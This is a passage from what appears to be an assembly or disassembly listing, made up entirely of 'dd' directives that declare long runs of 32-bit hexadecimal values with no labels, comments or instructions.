		dd 181BA5C8h, 7DE22B4Dh, 0A4F2FFDAh, 349A423Fh,	7461643Dh
		dd 0A4B1A89Fh, 9CB126B2h, 0F90FBA2Dh, 0B668C3D5h, 4A2E0441h
		dd 194DD6EFh, 21E2646Ah, 6E0855D9h, 62064CD1h, 0B19828CDh
		dd 76FE3Dh, 4B0AE2B5h, 5262D51Ch, 835EBBh, 0A4720B56h
		dd 413D79D2h, 57243331h, 1F91E80Ah, 0B2D27C9Eh,	0C3909A96h
		dd 74BC425Ch, 1EA770C9h, 0AD8DE1Ch, 9831D685h, 0A4C40C8Eh
		dd 486298A7h, 7B49892h,	438C03AEh, 5B323ECEh, 12E7184Ch
		dd 0FEFC2B45h, 0EE7DA69Dh, 0DEA06546h, 0CE38A8C0h, 0E29BE0F0h
		dd 262D0584h, 20E1228Eh, 9CA82396h, 71E9B884h, 0DA43AAB4h
		dd 0A5CBF006h, 929DB539h, 0ACC8020Ah, 0BEDDCC03h, 0B5ED196Eh
		dd 0E9F609C3h, 0D733A34Bh, 0D6F2453Ah, 5CCB465h, 0FCB6291Ah
		dd 0B31EDA4Ch, 1CF666F0h, 0FDDAF54Ch, 5A220D60h, 0FD68585Eh
		dd 8CF3CE16h, 7B6E03DCh, 7740CE47h, 0D32D92E0h,	248675E6h
		dd 47F63054h, 0F9ADEB3Ah, 9C061C86h, 0C138D163h, 38568B32h
		dd 36C53C5Dh, 67BC34AFh, 2758C05Ah, 0EA61A1C0h,	0E18F474Dh
		dd 0FA128FD9h, 369B0A5Ah, 37F12996h, 8F95F462h,	71BDDB1Bh
		dd 0BDC313B5h, 36ED38E5h, 0B10D324h, 0EA9A3F56h, 8F4FAEE5h
		dd 0D5327D07h, 0C086F175h, 4237472Ch, 46E9641Fh, 4EF66B26h
		dd 6C378830h, 6AECF5AEh, 0B37549BBh, 0FD059568h, 9D918D79h
		dd 9FEDD164h, 397D0594h, 0B69E6993h, 0C2DFA0E0h, 0C5592DE0h
		dd 57CBCE3Ah, 98331D8Ch, 0C89B9425h, 0D4354EC3h, 0E7F64C04h
		dd 0A30C9343h, 0C097D73Bh
		dd 7C208FA6h, 0DF5A8825h, 0BBA6A452h, 0B89C4A34h, 5E97A144h
		dd 74C9B230h, 0C6B55C76h, 0D9FABAA4h, 1D13157Fh, 0BC18755Eh
		dd 0AD915F3Dh, 231FC75Bh, 49C4E2BBh, 0AB4DB772h, 10961E3Ah
		dd 0C6C57F3Dh, 4745D21Eh, 0DB3BF487h, 2D2240BDh, 49E3CF79h
		dd 9CEBBDD7h, 0AE03F04Ch, 0A9379ACFh, 51670017h, 0E291C885h
		dd 0BB9B9205h, 6D5AFBF3h, 6FF3EF7Ah, 99D25684h,	9775290Ch
		dd 0CF6CB3C6h, 0B760F537h, 9318A77Ch, 0B17C5EB7h, 0A893847h
		dd 36330FF5h, 0D59508CDh, 0F106B997h, 41693BE8h, 876E8B1Ch
		dd 0E5C767EAh, 5DB38605h, 2A7A66Eh, 8C330D93h, 34AA7249h
		dd 0A6F466CCh, 2490DE85h, 973D3817h, 0C8DDC058h, 0F6A7EC2Eh
		dd 0B9F569Fh, 0E6798B8Ah, 73360F64h, 0A5E47694h, 0C00C9FF5h
		dd 0BA18DA26h, 0E3AAF288h, 0CC0AC01Bh, 0BC1A845Ah, 2088CD2Dh
		dd 238EB795h, 884A4C0Eh, 0BF313DF6h, 0FDF00AA0h, 0EEFFD65Bh
		dd 0A6CA17B6h, 0EF38E08Ah, 0B2C17296h, 52541F8Ch, 71E9161Eh
		dd 431D82A4h, 0A050AAF7h, 40ABC6B8h, 40D64926h,	0F0FB1F01h
		dd 0D5D7C9DCh, 1335246h, 66D958DBh, 0B2A113F5h,	0FA08FAC7h
		dd 5D27D504h, 0B6E1CAD4h, 871E3D0Fh, 0E2599656h, 0D7ABC80Fh
		dd 0D31A9336h, 3AF70C58h, 0E60059B1h, 2DB74132h, 49B9C5CBh
		dd 41F5EC35h, 510E34BAh, 169CBEA9h, 4A0133E6h, 0F4395C5h
		dd 93AFFB70h, 1628843Fh, 0DDBB17AFh, 63A789Dh, 0A80D8F0Eh
		dd 0F78395FFh, 9A0BBB18h, 4DF6F31Fh, 3C7205B5h,	0A5ECE553h
		dd 0F6EB24C5h, 0B2103D41h, 1A595F31h, 0B45F018Bh, 69827EF0h
		dd 3D06BD04h, 0C27FA8C5h, 21E812E0h, 6DD9A6Dh, 57609C84h
		dd 14DD23B0h, 0F1703A18h, 600D40A0h, 683E5899h,	0DCC96890h
		dd 0D844FC41h, 0E30FFDBDh, 0D1C1F9E4h, 0BB92AA0Bh, 0C62816F7h
		dd 8B741365h, 71E4FE13h, 89F57A28h, 0FCADB1CBh,	90A3EB5Dh
		dd 96E835DDh, 0E7394DE1h, 516F6329h, 0CBC7C8CCh, 0DD0DA83Ah
		dd 25BBDD16h, 0DE7178E4h, 0C79AC615h, 9A25A8C6h, 0CA79ECE6h
		dd 651F43DCh, 0F759B9F7h, 7906047Ah, 88A84A4Fh,	0E158A949h
		dd 0DB7DC0Dh, 0DDBE0133h, 0FEDAACE1h, 6EFCA4A2h, 444B9BCCh
		dd 93A69E23h, 0C167ED90h, 1DD58D49h, 4A2483E6h,	640F0CB2h
		dd 5BCD0E38h, 0DD221DD6h, 7AE205E7h, 0FB65089Ah, 8CC7AD8h
		dd 9AC7D097h, 0DB288751h, 66FDEA32h, 0C7ACAD81h, 0F4675Bh
		dd 0BE09B209h, 0C8DD62C9h, 7B0626FBh, 0B3B5581Bh, 0F2EB0E40h
		dd 13FB9A3Fh, 0D23F9C8Ch, 56E62695h, 130B5DCEh,	0DF16BC52h
		dd 7B31BCCCh, 0A8F4CF6Ch, 0CFF8F6AAh, 68C177E0h, 2379DB16h
		dd 0EC0E8845h, 95B4E29Ch, 0CC3773F3h, 926FA8F5h, 0C29B7ED5h
		dd 8FC1B6D9h, 0B863A732h, 691A28EBh, 0C588D604h, 674C2731h
		dd 6752F777h, 7EE4D061h, 500941CBh, 3BA8BC30h, 0F1FC13ACh
		dd 52FEB06Ch, 9520B4DAh, 6ACB9465h, 0D15F7234h,	0DB7775CFh
		dd 8FD737A8h, 0A9460F8h, 0C1BF611Fh, 3FFE0C39h,	6C472D93h
		dd 8535C253h, 6467944Ah, 5F72267Eh, 0E78FADD8h,	0F82850B1h
		dd 0CA3FA57Fh, 4AE8004Ah, 6C08A331h, 0C3D25C06h, 0DE67DA82h
		dd 0AB9DE69Eh, 0E0C4E5FFh, 80FBEAF3h, 0D02C6FC6h, 174FE012h
		dd 0FCB52BA4h, 1655FED3h, 949BCF95h, 0D847E2DFh, 0B409083Ch
		dd 6F1673E7h, 28701982h, 0B3EDB89Dh, 3219EA0Bh,	0CB7557C2h
		dd 9A1DC465h, 69B6A3C7h, 0F4F3EF3Eh, 0F0445Ch, 460E1793h
		dd 0BE74B22Dh, 0E947C638h, 952B7FFBh, 2B24ADAFh, 74CD2CB0h
		dd 2B8C95E7h, 0CCFF6FD2h, 0CD2979Ch, 77711524h,	7B7E683Ah
		dd 0D07D3A90h, 167FC19Eh, 734ED939h, 962D02F4h,	9FB003E8h
		dd 0E6054A1Bh, 0F1173542h, 21053CD2h, 15E98BFEh, 1AACF83Ch
		dd 0B99717A2h, 0F209C43Ch, 0D464AC51h, 0A3132B06h, 0AFD9F923h
		dd 6954EA87h, 74F88672h, 0BF45F7B7h, 0FC79F29Bh, 68861496h
		dd 800D7ADFh, 4CBF8558h, 0E1B8751h, 0ED1BD8D0h,	95286FCEh
		dd 0DCC28EC6h, 0B2AD2E0Eh, 0C7D984B9h, 0B1DF6BBAh, 0D8735EFDh
		dd 60FCADEAh, 0E68EDFFCh, 0D7446CC0h, 0A69835D9h, 6B76BC5Fh
		dd 2DC36DD4h, 6E3D0C0Fh, 0C83B1F4h, 7E4542B9h, 0A13F8A4h
		dd 45BC9925h, 0B91AFC9Dh, 0ECC0E30Ch, 504596DEh, 84374A97h
		dd 0EE78796h, 9CDBA24h,	0AF01B583h, 0ABAF07A7h,	0A8EB00AEh
		dd 11CB781Ch, 0B1440C0Fh, 9FCFE4DBh, 4DD7B567h,	0EA54F0EAh
		dd 38A06F7Ch, 0D31CB402h, 4CFA8F7Ch, 0B990C815h, 0B8E8F16Ah
		dd 4528617Eh, 1C1C3B9h,	9F5FB504h, 8A702409h, 5DE8E131h
		dd 24CF65E6h, 0DB32053Ch, 514DBAEFh, 8AC77BE7h,	0A92120Ah
		dd 0C885A92Ah, 2E604A42h, 886B0033h, 753B32B7h,	34D3F441h
		dd 0CCB2C9B2h, 77DC46B5h, 672DD031h, 0FA091C87h, 0C40970E9h
		dd 862112F0h, 9475B0F0h, 903562AFh, 0C46F0929h,	87E3FFDAh
		dd 6B60330Ah, 5E86F982h, 7DA6B4C9h, 0B786E51Ch,	0B1FBA8Dh
		dd 0C7675ECAh, 38F815D5h, 0D4F98B21h, 4EEF5EB1h, 6C4EE30h
		dd 0ABB2ED11h, 268CB12Ah, 0A678B37Ah, 0A4E0C38Eh, 6B1019EDh
		dd 600D435Bh, 0E52ED34Dh, 3B12056Dh, 84718129h,	439B92BBh
		dd 13E2DDCEh, 8842A429h, 8FAD3B92h, 0E30BF7DAh,	0D4C4107Dh
		dd 46D1C436h, 7902F879h, 7B17F5D5h, 86B2B2C6h, 0D462F2B5h
		dd 0B71120F6h, 0E75B32F6h, 0B84C9C69h, 83989C89h, 0E8E5EA87h
		dd 61B68E64h, 0B4C5DCF4h, 0F4913586h, 5A424089h, 0EFF3C829h
		dd 0CDECF0C2h, 91FB0A01h, 0D1003875h, 2554AF15h, 13A2D607h
		dd 1B47641Bh, 76803E8h,	29281846h, 42E27C1h, 0D435973Ch
		dd 5471A232h, 60DB67A3h, 156F5A22h, 4D9FEA1Fh, 0AFF7A77Eh
		dd 9B3B6462h, 6A30BCF8h, 27512BCAh, 0BFA0EFFAh,	0C002C129h
		dd 0E9B24044h, 990C48B9h, 56A1A3CCh, 78B13666h,	0D35010AAh
		dd 0C885423Eh, 8BA6544Ah, 0F43AAD3Fh, 78CC9CD6h, 151CEFBCh
		dd 283F5D41h, 0ABA77EDh, 0CB5C0DB4h, 2D30D5EEh,	0C69AB7DFh
		dd 99B5D9C2h, 3CCFCE32h, 4AF31CF4h, 28EB1D20h, 0F78FF7E7h
		dd 0A1AB9F48h, 0C00D86BDh, 675E64C3h, 618E01Bh,	77D53A1Fh
		dd 2994AA8Bh, 0D9B39023h, 0C11BA77Bh, 13CFF4A7h, 0C364AC19h
		dd 4885569h, 0E93A650Fh, 912BF69Ch, 47A2736Eh, 0A7B68048h
		dd 0A6EF020Ah, 5460203Dh, 8201542Ah, 0F6533A43h, 16973503h
		dd 0AE25F99Dh, 9DD0DC9Bh, 0A55303B0h, 0DDE7CFB7h, 6766CB4Fh
		dd 0AF49B65Dh, 0B9EEF639h, 4FF464B0h, 0F029E854h, 12FFFB6Ch
		dd 0A758FC02h, 0E5BA6A79h, 0BBE11FE4h, 0DC23F892h, 1ACE46C0h
		dd 88C52A8Fh, 55FC7B62h, 0A940EBC3h, 2466F3EFh,	8F55A33h
		dd 0FEDD47B0h, 0F38DD672h, 2B30A0BFh, 3D4DB8BCh, 5A1BE30Ch
		dd 0E6933F16h, 32D0643Dh, 0A0C60B7Bh, 0B06B37B3h, 0E8EFC6DAh
		dd 0E8D6A9CAh, 8CBF5BA8h, 0EEC55E8Eh, 9206EB1h,	32BFE32Ch
		dd 0FFCE03F8h, 0E29E42E2h, 10B2E4F2h, 0BD46E30Ch, 0AFD5BC18h
		dd 0C7624C94h, 6E21EAD9h, 87AF3EE8h, 0D7A0D7F6h, 44E17B7Eh
		dd 9ADB4B8h, 0E653698Dh, 7052DCA3h, 611F3988h, 38A602F0h
		dd 0B1637248h, 0F480B82Ch, 971C7BB6h, 59EF3B4Bh, 55A5256Eh
		dd 6E5EB45Eh, 17D8A6A2h, 629BE581h, 0E980C950h,	0C0B317Ch
		dd 0C0EB7847h, 0E67FD37Fh, 83D2EC6h, 0BC252E48h, 51A519B6h
		dd 0C531F7F0h, 0BFDE2E26h, 42365A51h, 0EBB410EDh, 6B25ACC1h
		dd 2FADF341h, 9AF1FDB2h, 0A964ECE0h, 5A3D3A12h,	653BC858h
		dd 1F9518D9h, 62B08456h, 48F078B8h, 2B3CE38Bh, 1B9BE55Dh
		dd 0CDB3EED3h, 806F71ADh
		dd 0BC4D3AC8h, 4A8904B5h, 29636B9Bh, 90C0F97Ah,	0BB5FE630h
		dd 0ECEA1328h, 12157A8Fh, 0FD6303D0h, 0C34E04C8h, 8511B9C6h
		dd 6C6DF024h, 7B44AFADh, 0FB55C2AAh, 0C96D38F6h, 0DDB4264Ah
		dd 0D7874831h, 0E7763C7Dh, 0D4E206ADh, 0EB45E4B3h, 206E60CAh
		dd 26C4B614h, 5DD7BBA1h, 83A4BA43h, 0E5A94E6Dh,	0FB30B297h
		dd 0C7C64D2Fh, 0A8963DD8h, 37AB24B1h, 0CA0FD151h, 0FD133DD4h
		dd 0A9F08B46h, 7CF9E65Fh, 6B4E3AF9h, 0C55734CAh, 85A3E5B1h
		dd 9985A845h, 41F264AFh, 0ED5E9378h, 0B6F5A8FFh, 0EF6CD876h
		dd 0FAEA1449h, 854F0917h, 33DF648Bh, 0FD29C729h, 0C83CB59Ch
		dd 81D6694Eh, 0CD22B7CBh, 63E08462h, 0F35B5EFEh, 69623AB5h
		dd 1A600560h, 49130BB6h, 8D127DF6h, 0CA8B7DCBh,	0C4093AFEh
		dd 7636C5CAh, 0B3829781h, 0D9BC6B1Fh, 5689F34Bh, 2A94D5E0h
		dd 0F49D8764h, 7430366Ah, 0C3188F4Dh, 2515A44Ch, 0E05A1293h
		dd 7BD469CAh, 0B0B1F5D7h, 0E8AC3B98h, 1B39E7AAh, 0E3DB0C30h
		dd 56CFACB7h, 4D1AA73Bh, 41BD9820h, 0E776D069h,	0FF9D6083h
		dd 87D70981h, 0AE446865h, 92A702D8h, 0AC74F0D6h, 63572C56h
		dd 0CF22F2B7h, 0DDC57ECDh, 4B0C25E2h, 15396794h, 380D21B1h
		dd 0D761E12Bh, 0FB2A430Dh, 40AEC2FCh, 8D35EAF8h, 59F5F4Eh
		dd 0A608B38Ch, 0C74CF484h, 84CFCF85h, 2491D34Dh, 29D5F9E0h
		dd 0B55FA3E7h, 4936756h, 376F9241h, 0D0DBA65Fh,	786EA892h
		dd 0DADEAB2Eh, 0B865BE78h, 2EE50EC9h, 0DFC556B0h, 0EB59A5E2h
		dd 3B90ADB8h, 22E6F22Bh, 0FFE36366h, 4F925DAh, 1E282D53h
		dd 523CBDB2h, 0A1BA2564h, 0BFE634D6h, 297F5695h, 629839C8h
		dd 3C60265Dh, 6E751A1Ah, 47AA4017h, 79CD33DBh, 0F3349263h
		dd 86E399F3h, 0EBDAB7E0h, 31988B7Ch, 51BD411Bh,	0E76ECAD6h
		dd 0FCCAE2E3h, 0A0C2BB3h, 6F81CD5Fh, 0D1CD3EFEh, 9C0E552Ch
		dd 364E047Fh, 74A3E4A2h, 2C42D049h, 0D79E02C9h,	0E5A8F307h
		dd 0F6FE4A63h, 4D59D22Dh, 0CF685869h, 0E94B57FDh, 0AB1F03D5h
		dd 5479B40Eh, 6D6A5D8Eh, 0C2266BC0h, 0E6803145h, 15E01137h
		dd 1B4B0955h, 4D31C7E3h, 7962BB62h, 0B4DC23DEh,	57D4E6BEh
		dd 186C8DA0h, 527BC909h, 84F0C25Bh, 51410A39h, 2E9C5619h
		dd 1936E89Bh, 0EF0DA37Ah, 16AAF9D5h, 771E83D5h,	3F1E8082h
		dd 3FF2637h, 0B60D1780h, 502E6FCCh, 936F24FAh, 8D20B926h
		dd 4E116473h, 8A313EDEh, 0EE56C146h, 6F139803h,	0A9C572E9h
		dd 5FDDF228h, 0FC2AB1E9h, 8265D5FAh, 66FC227Ah,	3B0528D9h
		dd 70DEF98h, 979F9A9Ch,	0EC0A42DAh, 3E92C856h, 0F4D8B8CEh
		dd 43224E32h, 4BDD7133h, 3729AEC0h, 19C54E22h, 0F5E07F4Fh
		dd 0C254F8DBh, 46677CCh, 8D5BC6F9h, 0A7865685h,	0C53DC1E3h
		dd 98CEE0B9h, 4AC93A9Dh, 0DCBD5DC3h, 0FA3F2BE2h, 70068C77h
		dd 5EEEDB48h, 2AC71F2Ch, 0B4E3EADAh, 0BE1127E4h, 6D8E8232h
		dd 0C74A7D19h, 773C5156h, 6256BDDCh, 0B36FBE51h, 0A8AA864Ah
		dd 5FB40DDh, 13FC76DEh,	606C5BA2h, 86CE2BE6h, 44696BECh
		dd 3EA41615h, 0C7998E77h, 6C7E59B6h, 0E8302F9Fh, 89887852h
		dd 5AC8359Ch, 18C9A207h, 315E18B3h, 0A2B067D6h,	1D9B07B1h
		dd 8C82937Bh, 0BB53906h, 0BDA323B1h, 0FD8E4005h, 82845B27h
		dd 66D948F8h, 11E1080Ah, 39C46C99h, 3DCF413Eh, 4CE15E86h
		dd 93122375h, 0A20E2BA8h, 8D2131C8h, 745C1635h,	0ED7A9253h
		dd 0ADE83C73h, 628A783Fh, 6A1C10EFh, 0EE149CE1h, 2819BB21h
		dd 7BF67F12h, 0E8C2095Ah, 0DAE00169h, 0C7725D40h, 0A14CF2BFh
		dd 31F2B6Fh, 7D90DE62h,	0CDDA362Ah, 53348C1Fh, 0EAC2C17h
		dd 37792CC4h, 0FD44B821h, 0D98E00EFh, 1610164Dh, 0B971AA61h
		dd 0C3BA318Fh, 5534C83Eh, 0DD4F8E11h, 0A6C63205h, 85BAB5FEh
		dd 0D6B4A395h, 0DC483904h, 0D16EC25Dh, 0C2EA70C3h, 1C402AB3h
		dd 0C3530A36h, 0C09A0D66h, 91713411h, 5C9053B1h, 0F93554D3h
		dd 44D18720h, 24D76BD9h, 547ED875h, 6F5A00Dh, 36940CF7h
		dd 0D789BD7Dh, 92BC908Ch, 6A27B860h, 0A5B060A2h, 8C1843DFh
		dd 0F4C7D812h, 0B38E762Eh, 0D51DDCD5h, 36AA8794h, 20A8E0B1h
		dd 0D8339F00h, 0AF197295h, 2FE90BFBh, 0C77A6183h, 2B0FCB3Ch
		dd 1B0F2EA7h, 0C3F02515h, 178B7B99h, 0DB78C425h, 79FB2FB6h
		dd 2EE7F63Bh, 1520577Dh, 0CC6F9788h, 2A74802Dh,	53665BE9h
		dd 74F250D7h, 10B70448h, 400AD4F1h, 0F5CA15C5h,	3E3DA21Eh
		dd 0BE1E16CCh, 4C1EFE7Dh, 3103B10Eh, 2A94BE58h,	9BEFFA21h
		dd 741AE60Ah, 0F7F39E6Ah, 3F985CE9h, 91FEC7BBh,	0C8CBF967h
		dd 61A6892h, 5B744361h,	0BB9EAF6Ch, 0BA7CD77Dh,	72A1ABBFh
		dd 0ED8826Dh, 4087E740h, 0E3C3D726h, 21B8BC33h,	3BD5796h
		dd 0C6186BDh, 924D55C4h, 0DD22F719h, 7B8F9A29h,	0F076C95Ah
		dd 0D23BAC12h, 0F4BB6B08h, 9CADAD7Dh, 0F7DF7774h, 442DC04Ch
		dd 0D4C104F9h, 66914B64h, 0C6D0FDFFh, 5728BE2Dh, 0C1F25DF1h
		dd 49B84566h, 6C2895DCh, 8C1B3390h, 97B89819h, 0C1358AD0h
		dd 0EBC0E3AEh, 0AB51EFF6h, 64D71979h, 0CA9F56D6h, 52F8873Ah
		dd 82A7CD48h, 0DA88ECBCh, 0B00E5821h, 600F7CC3h, 0A198FCCDh
		dd 2CEEAA22h, 40B39FDAh, 0E0497307h, 1AF425EAh,	0C79AFC58h
		dd 340ADD9Eh, 0D4D22AC1h, 0B96C8945h, 0F36463C9h, 2493AC08h
		dd 0F8ECEB0Dh, 0FA88029h, 9F499B36h, 4860FCD0h,	0B3D092DDh
		dd 507A6F45h, 0D7D5995Fh, 2AE23C0h, 8F4D9A8Eh, 2D332B35h
		dd 55AECFD5h, 81646F48h, 8423C4B7h, 0D9D748A0h,	0E2904099h
		dd 7F17CAA8h, 0F87B9187h, 0B438BFBAh, 76A6778Ch, 0B642B055h
		dd 0BAA85574h, 0FB220C5Bh, 0A8E97E63h, 8A35C5CFh, 8C0BA85Fh
		dd 6F1E8CF9h, 0E83A98D9h, 3E0C48F7h, 2FFBAA70h,	9196964Dh
		dd 0E91BA08Fh, 0ED95A622h, 7C2B45AFh, 0C2522B0Dh, 769514E1h
		dd 4E4985D5h, 248B2317h, 0B2355D50h, 1EA350D2h,	88940B5Eh
		dd 4FCA825h, 0B1F51521h, 65E6FFD5h, 7784CD1Ch, 9480E8E4h
		dd 0AE7B14Ah, 0EF157CAEh, 85EC5A64h, 58C484FFh,	83F49B92h
		dd 1AB1D264h, 44218419h, 37529583h, 0C2B8EAE2h,	0BDCBB8C8h
		dd 37F154A2h, 8A288875h, 8287A715h, 30F5FA8Bh, 9A15DFBBh
		dd 49B2D5C0h, 0A9B2530Dh, 0CDA8E808h, 5AABDDCEh, 93F2B4C1h
		dd 0CA742C9Eh, 17E726B4h, 0F9DDE6A1h, 0D5037E8Fh, 0ECCCF38Ah
		dd 647704A6h, 0D857D503h, 524F26E5h, 6BF0B23Ah,	0A04A714Ch
		dd 0B3CD08DBh, 0AA3F17ADh, 61CFCBE2h, 500E9802h, 0DF8C2E03h
		dd 4D1BCC41h, 8DF1BEEEh, 3943DBA9h, 4A6E21C8h, 821C3E72h
		dd 6938BC32h, 0BFB7AF7Ah, 42A6A4D0h, 0B0A2349Bh, 2F2A11ADh
		dd 0F465F96h, 3D7E2DC3h, 0E459FB5h, 49EB373Ch, 57AFFBCBh
		dd 74B46074h, 0D2A40CB9h, 343B0903h, 39C40799h,	0CE26A4CBh
		dd 13E46E2Ch, 0B666C53Dh, 0C2377690h, 0BA0039B5h, 0CA745B75h
		dd 5AF568ECh, 40CC2CC5h, 58397833h, 0D7CF5423h,	0E737DFFh
		dd 6142ECAFh, 2F4CD3B7h, 7325FB04h, 7860358Ch, 11AC4B5Ch
		dd 7AF11E1Dh, 5AD19B98h, 0FD74B239h, 64F6805Fh,	727FD7DAh
		dd 0BD2865C8h, 8D9CF642h, 8E335B28h, 6310BE96h,	0E71F6616h
		dd 9A76739h, 0E2DF3988h, 0F6BD006Bh, 362CEB5Ah,	6C10557h
		dd 899A12C1h, 0ED7E8BD1h, 2F879D27h, 24A5BAA1h,	0F71D96h
		dd 6ED038A8h, 0B159C3F5h, 12BB1B85h, 0DE837B84h, 0B381EF59h
		dd 0FCDCE6F9h, 0F38214B9h, 0B0FA03FDh, 1EB04862h, 1B13CF70h
		dd 482CD833h, 838A368h
		dd 6F1270Dh, 81B17A66h,	44EFF0D9h, 1C31DB3Eh, 3B77A77Eh
		dd 0A4366E85h, 972DE7A5h, 0B5BC1195h, 48723B72h, 1FEFF6Dh
		dd 0BA95F5D1h, 8CC46450h, 92960CBBh, 0CFF14824h, 8D0716F7h
		dd 0D33B7CFFh, 1A530FB3h, 0E05DD95Dh, 0DB46A325h, 9F7D0906h
		dd 0FF2B6338h, 45E68832h, 11729CCEh, 0AD2E660Ah, 0ED5E601Ah
		dd 0BCD0681h, 0EB762EC0h, 9B734CC5h, 0DAFD4FBFh, 3458821Fh
		dd 58A8A83Bh, 93692117h, 0C81709CDh, 7227F933h,	0D36B67BCh
		dd 0DA33D510h, 0C92B09DAh, 0B3DC967h, 0ED3899AFh, 271F7D9Ch
		dd 54E7F248h, 1D05998Fh, 3BFA1106h, 2EE2CB83h, 75FBE51Eh
		dd 0C7C5EFECh, 0C9A49763h, 0A6D5CBE8h, 437537BEh, 0DB16DDEEh
		dd 0B5C92679h, 1EBBDC30h, 52D2F9E3h, 2EE4024Eh,	87A226DBh
		dd 40693E80h, 0B02807EBh, 9A0286C7h, 0BEDE1091h, 0A3882836h
		dd 5125DE6Ah, 8274E4AFh, 93846CC8h, 0A0258C4h, 4AA7D7D0h
		dd 6729FBCDh, 2A55B0A3h, 3D3E7156h, 0D1E60DC8h,	614EF184h
		dd 0DE57460Fh, 0CDE1A35Eh, 1CDF6B7Bh, 0C224061Dh, 21344D2Fh
		dd 21AC5A44h, 73D14ABEh, 52A7F831h, 5E45ACB0h, 0FB32B2D9h
		dd 0CCD716C0h, 4E27C505h, 0CE6091C2h, 4E3A8839h, 0A93E4A4Ah
		dd 32D24FA1h, 1C4C34EEh, 95C5D0D1h, 3923D3E2h, 8CE9F005h
		dd 0BDFE100Bh, 12ACC5D4h, 8F5BD960h, 6C6A0E9Ch,	76632788h
		dd 87086D6Bh, 0EEE5FAD2h, 0C2CBDC00h, 3A37DB9h,	8DD02FE7h
		dd 64C35745h, 4FB424ECh, 35344C03h, 0B4508C0Ch,	272F33C2h
		dd 5C09FFC6h, 289B49B0h, 5E53980Fh, 0BD9893AEh,	18AAFA06h
		dd 0DC7E56BAh, 2BE28254h, 762A92Bh, 0ACF2023Fh,	0C303A798h
		dd 1386FE99h, 827B4D84h, 0BED6F14h, 0D6DD9792h,	0AB447FCBh
		dd 83256D7Eh, 0BD6B27AFh, 0E1AF4075h, 7C01984Bh, 5691D6B2h
		dd 51CA9C69h, 8E29FDAFh, 41A588Eh, 3B2492FCh, 0F3FB6B6Eh
		dd 0CE313701h, 48525BF2h, 84846485h, 0B9CDA793h, 699DF58Fh
		dd 386707C3h, 54BFF68Bh, 3FA24DEFh, 0A0F7DD59h,	0F58ECDA6h
		dd 0C61C5819h, 2F62B2F3h, 0C061BB13h, 62E513FDh, 4D437041h
		dd 0A5950472h, 5D4E31CCh, 3E7F9EE4h, 0F2839FD7h, 4846BEAFh
		dd 78A733E2h, 0A11E758Ch, 0B79F2AB1h, 633460D0h, 0F91FFA19h
		dd 0CE51625Bh, 0C0E4B5DDh, 61A231B0h, 192DAAEEh, 69413137h
		dd 0C38494DCh, 796FAD3Bh, 0DB8F7786h, 1274DB4Fh, 5D7D3B9Bh
		dd 8C90E7A8h, 840AEBC9h, 6ED031E0h, 0CD5F1107h,	7A5CF8C7h
		dd 0BDE45DA1h, 0D02D45B7h, 0CF1A45F2h, 6EA6C8CFh, 28D6F7DDh
		dd 0BEB9352Dh, 5030BA89h, 39F761C8h, 3E02ADB6h,	0E7BC57BEh
		dd 0CB636417h, 7AC0EAAEh, 0A93D4CAFh, 0C3BB1B7h, 0E8DE6312h
		dd 7F024CFEh, 670886EDh, 8B10632Ah, 8BABBC12h, 0CBDB6880h
		dd 3E7AC96Ch, 1760C1D8h, 1CBB5A21h, 0DBC25A0Ah,	0FF7553EFh
		dd 0A90CA2B3h, 0B3DC9C36h, 0F61590F6h, 525A1A30h, 7BA883CBh
		dd 3333F4ECh, 85122DCEh, 4B12A74Ah, 0F286BEB8h,	9FBE17A8h
		dd 1BF94C81h, 0C66D492Fh, 0B166D615h, 12BDB2DEh, 247D0160h
		dd 91B17025h, 9867B7DAh, 0F81AA4E8h, 228345CAh,	62F64FD5h
		dd 0F065691Bh, 3FF1F97Ah, 0CEB904B4h, 3D99F794h, 0EE8538C8h
		dd 0C6865A92h, 720F7950h, 0C2657308h, 0A1B44829h, 0EECF4356h
		dd 56D241AEh, 91356360h, 2392B5CEh, 0CE9A50EDh,	53912C00h
		dd 19875A65h, 886FC794h, 81E2F6F1h, 28F4F4Ah, 207D2498h
		dd 889D6F4Ch, 0A2B760F2h, 93B0B621h, 0AAF8A111h, 0AD9BA20Ch
		dd 305EF51Ah, 7CCB2B1Fh, 9440F0F9h, 21CCD0C3h, 234B5D57h
		dd 33AE81E6h, 0DC45CF8Ah, 22E69B01h, 198696A5h,	0B49B7013h
		dd 1A917549h, 0F70B6B18h, 0EEAD877Ah, 8FFE9F8Fh, 0D11C0CF4h
		dd 46D6E4D6h, 0BC6649A5h, 1176E576h, 7D75842Bh,	982A1C3Dh
		dd 0FA9D2490h, 9D355814h, 6EBA171Eh, 6B3C311Dh,	0E2937B4Ah
		dd 874A8AABh, 8A989FD5h, 8D1185A6h, 3FB2567h, 59F9BAA1h
		dd 7906999h, 602A59B9h,	0C9B35D59h, 0D6FCD894h,	6CC081E7h
		dd 697A5D55h, 0D5A7F549h, 3568FFAh, 0E72241E3h,	0BB5A9953h
		dd 3EE2D860h, 0ADE60D60h, 77D35D5Dh, 49E90EAAh,	84A6353Fh
		dd 1AD440C3h, 8EEC03F5h, 641BF525h, 9D98F58Bh, 660C5910h
		dd 6E1C6364h, 2610623Ah, 0B3732CBCh, 73F1E9A3h,	4AF4C9A2h
		dd 115C3320h, 453326EBh, 0F328FD7Eh, 0E29D60CAh, 394512AAh
		dd 0A8BAAA74h, 959F0649h, 0CCDA48AFh, 26C966BCh, 0EEC6CD30h
		dd 0ECD99930h, 81A5EE6h, 999E95A9h, 0F137AF7Eh,	7937B6B1h
		dd 0C8CCBC6Bh, 52D5A31h, 64B83DE9h, 0B2C3C930h,	0EDC22201h
		dd 24E1A06Ch, 0EEC226E2h, 0EFB0CD44h, 0D0E26277h, 891278FBh
		dd 6E1EF7B1h, 0A24845E2h, 2AB78947h, 0AAD9EA0Eh, 82B470D9h
		dd 741EBC66h, 0D2F56651h, 0EA0CFD5Ah, 71D2360Ah, 0A288EAEh
		dd 8247C19Eh, 3E497D6Ah, 4BB0C2A3h, 1B8DE7D9h, 56388CA8h
		dd 0AE8D22C0h, 0C0FF4395h, 784D583Ch, 7F9A9B45h, 383F5656h
		dd 0F8008B2Fh, 9A9A5388h, 39D47C67h, 5220630h, 18C04C2Bh
		dd 27CA4951h, 0C2FD3498h, 118EF6A1h, 6926C8CAh,	9135637h
		dd 0BC9199CBh, 49472B85h, 58EB9BF6h, 424F9199h,	0E3CB08C9h
		dd 6DAF7150h, 74DAB845h, 0AD90411Eh, 0D5BC9643h, 9A7A62AFh
		dd 4B06820Fh, 0FCC53219h, 0E5051DE0h, 6CC7F551h, 0E5C8615Ch
